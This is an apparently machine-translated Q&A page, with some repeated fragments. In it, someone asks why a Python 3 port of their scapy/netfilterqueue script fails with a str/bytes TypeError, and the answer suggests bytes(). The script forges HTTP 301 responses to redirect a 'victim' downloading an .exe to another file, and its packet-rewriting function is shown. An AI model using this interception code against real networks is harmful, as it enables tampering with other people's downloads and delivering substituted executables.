TypeError:参数'payload'具有错误的类型(预期的字节,获取了str)。我该如何解决?为什么它可以在Python 2上运行但不能在Python 3上运行?

问题描述 投票:0回答:1

我是Python的新手,使用* scapy **库存在以下问题。在这里您可以找到完整的代码(但我认为它并不是那么重要,因为错误位于特定的行:https://github.com/AndreaNobili/replace_download/blob/master/replace_download.py

进入Python 2项目,我有以下两行:

modified_packet = set_load(scapy_packet, "HTTP/1.1 301 Moved Permanently\nLocation: https://www.rarlab.com/rar/wrar590.exe\n\n")

# Replace the original packet payload with the packet forget by scapy:
packet.set_payload(str(modified_packet))

这是我的set_load()函数的代码:

def set_load(packet, load):
    #pdb.set_trace()
    print("set_load() START")

    # When the victim try to download a ".exe" file he\she is redirected to this other ".exe" link:
    packet[scapy.Raw].load = load
    # The value of the following fields are changed because the file is changed, they will be removed and
    # scapy automatically recalculate the values of these fields inserting the correct values:
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet

所以基本上我是用scapy伪造一个数据包,最后我用Scapy伪造的有效载荷来设置原始packet变量的有效载荷。

packet.set_payload(str(modified_packet))

NOTE:

packet变量不是scapy数据包,而是使用netfilterqueue获得的数据包

使用Python 2]运行我的脚本,效果很好,但是使用Python 3

,这最后一行给我以下错误:
TypeError: Argument 'payload' has incorrect type (expected bytes, got str)
> /root/Documents/PycharmWS/replace_download/replace_download.py(61)process_packet()
-> packet.set_payload(str(modified_packet))  

所以我将scapy

数据包转换为string
,然后设置原始netfilterqueue数据包的有效负载,但似乎期望的是bytes”] >

如何解决此问题?我想念什么?

另一个疑问是:为什么Python 2可以正常工作?我怀疑Python 2使用的netfilterqueue依赖版本与Python 3使用的依赖版本稍有不同,在旧版本中,期望使用string

而不是bytes参数。这种推理是正确的还是我缺少什么?

我是Python的新手,使用* scapy **库存在以下问题。在这里您可以找到完整的代码(但是我认为它不是那么重要,因为错误在特定的行上:...

Python 3在连线上使用“字节”。代替使用str(),使用bytes()。看看http://python-future.org/compatible_idioms.html#strings-and-bytes,可以很好地比较在Py3和Py2上应该做什么。

根据您的情况,只是做

packet.set_payload(bytes(modified_packet))
python python-3.x python-2.7 scapy
1个回答
0
投票

Python 3在连线上使用“字节”。代替使用str(),使用bytes()。看看http://python-future.org/compatible_idioms.html#strings-and-bytes,可以很好地比较在Py3和Py2上应该做什么。

© www.soinside.com 2019 - 2024. All rights reserved.